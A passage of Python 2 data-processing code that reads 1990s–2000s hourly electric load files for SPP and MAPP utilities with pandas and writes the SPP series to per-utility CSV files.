1997 : pd.read_csv('%s/spp/1997/CLEC97' % (fulldir)).iloc[:, 2].str.replace(',', '').astype(float).values, 1998 : pd.DataFrame([i.split() for i in open('%s/spp/1998/CLEC98' % (fulldir)).readlines()[:]])[1].astype(float).values, 1999 : pd.DataFrame([i.split() for i in open('%s/spp/1999/CLEC99' % (fulldir)).readlines()[1:]]).iloc[:, 0].astype(float).values, 2001 : pd.DataFrame([i.split() for i in open('%s/spp/2001/CLEC01' % (fulldir)).readlines()[:]])[4].replace('NA', '0').astype(float).values, }, 5860 : { 1997 : pd.DataFrame([i.split() for i in open('%s/spp/1997/EMDE97' % (fulldir)).readlines()[:]])[3].astype(float).values, 1998 : pd.DataFrame([i.split() for i in open('%s/spp/1998/EMDE98' % (fulldir)).readlines()[2:-2]])[2].astype(float).values, 1999 : pd.DataFrame([i.split() for i in open('%s/spp/1999/EMDE99' % (fulldir)).readlines()[3:8763]])[2].astype(float).values, 2001 : pd.read_excel('%s/spp/2001/EMDE01' % (fulldir))['Load'].dropna().values, 2002 : pd.read_excel('%s/spp/2002/EMDE02' % (fulldir))['Load'].dropna().values, 2003 : pd.read_excel('%s/spp/2003/EMDE03' % (fulldir))['Load'].dropna().values, 2004 : pd.read_excel('%s/spp/2004/EMDE04' % (fulldir), skiprows=2).iloc[:8784, -1].values }, 12506 : { 1994 : pd.DataFrame([i.split() for i in open('%s/spp/1994/ENTR94' % (fulldir)).readlines()[:]]).iloc[:, 1:-1].astype(float).values.ravel(), 1995 : pd.DataFrame([i.split() for i in open('%s/spp/1995/ENTR95' % (fulldir)).readlines()[1:-2]]).iloc[:, 1:-1].astype(float).values.ravel(), 1997 : pd.read_csv('%s/spp/1997/ENTR97' % (fulldir), header=None).iloc[:, 1:-1].astype(float).values.ravel(), 1998 : pd.read_csv('%s/spp/1998/ENTR98' % (fulldir), header=None)[2].astype(float).values, 1999 : pd.read_excel('%s/spp/1999/ENTR99' % (fulldir)).iloc[:, -1].values, 2000 : pd.DataFrame([i.split() for i in open('%s/spp/2000/ENTR00' % (fulldir)).readlines()[4:]]).iloc[:, 3:].astype(float).values.ravel(), 2001 : pd.read_fwf('%s/spp/2001/ENTR01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel() }, 9996 : { 1994 : pd.read_fwf('%s/spp/1994/KCPU94' % (fulldir), skiprows=4, header=None).astype(str).apply(lambda x: x.str[-3:]).astype(float).values.ravel(), 1997 : pd.read_csv('%s/spp/1997/KCPU97' % (fulldir), engine='python', header=None)[0].values, 1998 : pd.read_csv('%s/spp/1998/KCPU98' % (fulldir), engine='python', header=None)[0].values, 1999 : pd.read_csv('%s/spp/1999/KCPU99' % (fulldir), skiprows=1, engine='python', header=None)[0].values, 2000 : pd.read_csv('%s/spp/2000/KCPU00' % (fulldir), engine='python', header=None)[0].values, 2002 : pd.read_excel('%s/spp/2002/KCPU02' % (fulldir)).iloc[:, -1].values, 2003 : pd.read_csv('%s/spp/2003/KCPU03' % (fulldir), engine='python', header=None)[0].values, 2004 : pd.read_csv('%s/spp/2004/KCPU04' % (fulldir), engine='python', header=None)[0].values }, 26253 : { 1993 : pd.read_csv('%s/spp/1993/LEPA93' % (fulldir), skiprows=3, header=None)[0].values, 1994 : pd.read_csv('%s/spp/1994/LEPA94' % (fulldir), skiprows=3, header=None)[0].values, 1995 : pd.read_csv('%s/spp/1995/LEPA95' % (fulldir), sep='\t', skiprows=1, header=None)[2].values, 1996 : pd.read_csv('%s/spp/1996/LEPA96' % (fulldir), sep='\t', skiprows=1, header=None)[2].values, 1997 : pd.read_csv('%s/spp/1997/LEPA97' % (fulldir), engine='python', header=None)[0].values, 1998 : pd.read_csv('%s/spp/1998/LEPA98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None), 1998 : pd.Series(pd.read_csv('%s/spp/1998/LEPA98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None)[[1,3]].values.ravel(order='F')).dropna().values, 1999 : pd.read_csv('%s/spp/1999/LEPA99' % (fulldir), sep='\t')['Load'].values, 2001 : pd.read_csv('%s/spp/2001/LEPA01' % (fulldir), engine='python', sep='\t', header=None)[1].values, 2002 : pd.read_csv('%s/spp/2002/LEPA02' % (fulldir), engine='python', sep='\t', header=None)[1].values, 2003 : pd.read_excel('%s/spp/2003/LEPA03' % (fulldir), header=None)[1].values }, 9096 : { 1993 : pd.DataFrame([i.split() for i in open('%s/spp/1993/LUS93' % (fulldir)).readlines()[3:-1]]).iloc[:, -1].astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/spp/1994/LUS94' % (fulldir)).readlines()[3:-1]]).iloc[:, -1].astype(float).values, 1995 : pd.DataFrame([i.split() for i in open('%s/spp/1995/LUS95' % (fulldir)).readlines()[4:-1]]).iloc[:, -1].astype(float).values, 1996 : pd.DataFrame([i.split() for i in open('%s/spp/1996/LUS96' % (fulldir)).readlines()[4:-1]]).iloc[:, -1].astype(float).values, 1997 : pd.DataFrame([i.split('\t') for i in open('%s/spp/1997/LUS97' % (fulldir)).readlines()[3:-2]]).iloc[:, -1].astype(float).values, 1998 : pd.DataFrame([i.split('\t') for i in open('%s/spp/1998/LUS98' % (fulldir)).readlines()[4:]]).iloc[:, -1].astype(float).values, 1999 : pd.DataFrame([i.split(' ') for i in open('%s/spp/1999/LUS99' % (fulldir)).readlines()[4:]]).iloc[:, -1].astype(float).values, 2000 : pd.read_csv('%s/spp/2000/LUS00' % (fulldir), skiprows=3, skipfooter=1, header=None).iloc[:, -1].values, 2001 : pd.read_csv('%s/spp/2001/LUS01' % (fulldir), skiprows=3, header=None).iloc[:, -1].values, 2002 : pd.read_csv('%s/spp/2002/LUS02' % (fulldir), skiprows=3, header=None).iloc[:, -1].values, 2003 : pd.read_csv('%s/spp/2003/LUS03' % (fulldir), skiprows=3, header=None).iloc[:, -1].values, 2004 : pd.read_csv('%s/spp/2004/LUS04' % (fulldir), skiprows=4, header=None).iloc[:, -1].values }, 55936 : { 1993 : pd.read_csv('%s/spp/1993/GSU93' % (fulldir), engine='python', header=None)[0].values }, 12699 : { 1993 : pd.read_csv('%s/spp/1993/MPS93' % (fulldir), sep=' ', skipinitialspace=True)['TOTLOAD'].values, 1996 : pd.read_excel('%s/spp/1996/MPS96' % (fulldir), skiprows=6, header=None).iloc[:, -1].values, 1998 : pd.read_csv('%s/spp/1998/MPS98' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 2000 : pd.read_csv('%s/spp/2000/MPS00' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 2001 : pd.read_csv('%s/spp/2001/MPS01' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 2002 : pd.read_csv('%s/spp/2002/MPS02' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 2003 : pd.read_excel('%s/spp/2003/MPS03' % (fulldir)).iloc[:, 1:].values.ravel() }, 14063 : { 1994 : pd.read_csv('%s/spp/1994/OKGE94' % (fulldir), header=None).iloc[:, 1:13].values.ravel() }, 14077 : { 1993 : pd.read_csv('%s/spp/1993/OMPA93' % (fulldir), skiprows=2, header=None, sep=' ', skipinitialspace=True, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_csv('%s/spp/1997/OMPA97' % (fulldir), engine='python', header=None)[0].values, 1998 : pd.read_csv('%s/spp/1998/OMPA98' % (fulldir), skiprows=2, engine='python', header=None)[0].str.replace('\*', '').astype(float).values, 2000 : pd.read_csv('%s/spp/2000/OMPA00' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000, 2001 : pd.read_csv('%s/spp/2001/OMPA01' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000, 2002 : pd.read_csv('%s/spp/2002/OMPA02' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000, 2003 : pd.read_csv('%s/spp/2003/OMPA03' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000, 2004 : pd.read_csv('%s/spp/2004/OMPA04' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000 }, 15474 : { 1993 : pd.read_fwf('%s/spp/1993/PSOK93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel() }, 18315 : { 1993 : pd.read_csv('%s/spp/1993/SEPC93' % (fulldir), header=None).iloc[:, 1:].astype(str).apply(lambda x: x.str.replace('NA', '').str.strip()).replace('', '0').astype(float).values.ravel(), 1997 : (pd.read_fwf('%s/spp/1997/SEPC97' % (fulldir), skiprows=1, header=None)[5]/1000).values, 1999 : pd.read_csv('%s/spp/1999/SEPC99' % (fulldir), sep='\t', skipinitialspace=True, header=None)[3].str.strip().replace('#VALUE!', '0').astype(float).values, 2000 : pd.read_csv('%s/spp/2000/SEPC00' % (fulldir), sep='\t', skipinitialspace=True, header=None)[3].apply(lambda x: 0 if len(x) > 3 else x).astype(float).values, 2001 : pd.read_csv('%s/spp/2001/SEPC01' % (fulldir), sep='\t', skipinitialspace=True, header=None)[3].apply(lambda x: 0 if len(x) > 3 else x).astype(float).values, 2002 : (pd.read_fwf('%s/spp/2002/SEPC02' % (fulldir), skiprows=1, header=None)[6]).str.replace('"', '').str.strip().astype(float).values, 2004 : pd.read_csv('%s/spp/2004/SEPC04' % (fulldir), header=None, sep='\t')[5].values }, 20447 : { 1993 : pd.read_csv('%s/spp/1993/WFEC93' % (fulldir)).iloc[:, 0].values, 2000 : pd.read_csv('%s/spp/2000/WFEC00' % (fulldir), header=None, sep=' ', skipinitialspace=True)[0].values }, 20391 : { 1993 : pd.DataFrame([i.split() for i in open('%s/spp/1993/WPEK93' % (fulldir)).readlines()[:]]).iloc[:365, 1:25].astype(float).values.ravel(), 1996 : pd.read_excel('%s/spp/1996/WPEK96' % (fulldir), skiprows=2).dropna().iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/spp/1998/WPEK98' % (fulldir), header=None, sep=' ', skipinitialspace=True)[6].values, 2000 : pd.read_csv('%s/spp/2000/WPEK00' % (fulldir), header=None, sep=' ', skipinitialspace=True)[6].values, 2001 : pd.read_csv('%s/spp/2001/WPEK01' % (fulldir), header=None, sep=' ', skipinitialspace=True)[6].values, 2002 : pd.read_csv('%s/spp/2002/WPEK02' % (fulldir), header=None, sep=' ', skipinitialspace=True)[4].values }, 3283 : { 1997 : pd.read_fwf('%s/spp/1997/CSWS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=6).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/spp/1998/CSWS98' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True, header=None)[2].values, 1999 : pd.read_csv('%s/spp/1999/CSWS99' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[2].values, 2000 : pd.read_csv('%s/spp/2000/CSWS00' % (fulldir), skiprows=5, sep=' ', skipinitialspace=True, header=None)[2].values }, 40233 : { 2000 : pd.read_fwf('%s/spp/2000/SRGT00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2001 : pd.read_fwf('%s/spp/2001/SRGT01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() }, 7349 : { 1997 : pd.read_csv('%s/spp/1997/GSEC97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/spp/1998/GSEC98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None).iloc[:, 1:].values.ravel(), 1999 : pd.read_csv('%s/spp/1999/GSEC99' % (fulldir), sep='\s', skipinitialspace=True, skiprows=2, header=None)[17].dropna().values, 2000 : pd.read_csv('%s/spp/2000/GSEC00' % (fulldir), skiprows=1, engine='python', header=None)[0].values, 2001 : pd.DataFrame([i.split() for i in open('%s/spp/2001/GSEC01' % (fulldir)).readlines()[1:]])[0].astype(float).values, 2002 : pd.read_csv('%s/spp/2002/GSEC02' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None)[5].values, 2003 : pd.read_csv('%s/spp/2003/GSEC03' % (fulldir), header=None)[2].values, 2004 : (pd.read_csv('%s/spp/2004/GSEC04' % (fulldir), sep=' ', skipinitialspace=True, skiprows=1, header=None)[5]/1000).values } } spp[9096][2003][spp[9096][2003] > 600] = 0 spp[9996][2002] = np.repeat(np.nan, len(spp[9996][2002])) spp[7349][2003] = np.repeat(np.nan, len(spp[7349][2003])) if not os.path.exists('./spp'): os.mkdir('spp') for k in spp.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(spp[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(spp[k][i]))) for i in spp[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./spp/%s.csv' % k) ###### MAPP # CIPC: 3258 # CP: 4322 # CBPC: 4363 # DPC: 4716 # HUC: 9130 # IES: 9219 # IPW: 9417 <- 9392 # IIGE: 9438 # LES: 11018 # MPL: 12647 # MPC: 12658 # MDU: 12819 # MEAN: 21352 # MPW: 13143 # NPPD: 13337 # NSP: 13781 # NWPS: 13809 # OPPD: 14127 # OTP: 14232 # SMMP: 40580 # UPA: 19514 # WPPI: 20858 # MEC: 12341 <- 9435 # CPA: 4322 # MWPS: 23333 mapp = { 3258 : { 1998 : pd.read_fwf('%s/mapp/1998/CIPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 4322 : { 1993 : pd.read_fwf('%s/mapp/1993/CP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/CP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/CP96' % (fulldir), header=None).iloc[:, 2:].values.ravel() }, 4363 : { 1993 : pd.read_fwf('%s/mapp/1993/CBPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/CBPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/CBPC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/CBPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/CBPC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/CB02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() }, 4716 : { 1993 : pd.read_fwf('%s/mapp/1993/DPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/DPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_csv('%s/mapp/1996/DPC96' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 6:].values.ravel() }, 9130 : { 1993 : pd.read_fwf('%s/mapp/1993/HUC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/HUC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/HUC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/HUC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/HUC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/HUC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/HUC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/HUC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9219 : { 1993 : pd.read_fwf('%s/mapp/1993/IESC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/IES94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/IESC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/IES97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/IESC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9417 : { 1993 : pd.read_fwf('%s/mapp/1993/IPW93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/IPW94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/IPW95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/IPW96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/IPW97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/IPW98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9438 : { 1993 : pd.read_fwf('%s/mapp/1993/IIGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/IIGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/IIGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() }, 11018 : { 1993 : pd.read_fwf('%s/mapp/1993/LES93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/LES94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_csv('%s/mapp/1995/LES95' % (fulldir)).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/LES96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/LES97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/LES98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/LES99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_excel('%s/mapp/2000/LES00' % (fulldir), skipfooter=3).iloc[:, 1:].values.ravel(), 2001 : pd.read_excel('%s/mapp/2001/LES01' % (fulldir), skipfooter=3).iloc[:, 1:].values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/LES02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/LES03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 12647 : { 1995 : pd.read_fwf('%s/mapp/1995/MPL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_fwf('%s/mapp/2000/MPL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2001 : pd.read_fwf('%s/mapp/2001/MPL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() }, 12658 : { 1993 : pd.read_fwf('%s/mapp/1993/MPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/MPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/MPC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/MPC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/MPC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/MPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/MPC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/MPC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/MPC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 12819 : { 1993 : pd.read_fwf('%s/mapp/1993/MDU93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/MDU94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/MDU95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/MDU96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/MDU97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/MDU98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/MDU99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/MDU02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/MDU03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 21352 : { 1993 : pd.read_fwf('%s/mapp/1993/MEAN93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/MEAN95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/MEAN96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/MEAN97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/MEAN98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/MEAN99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', 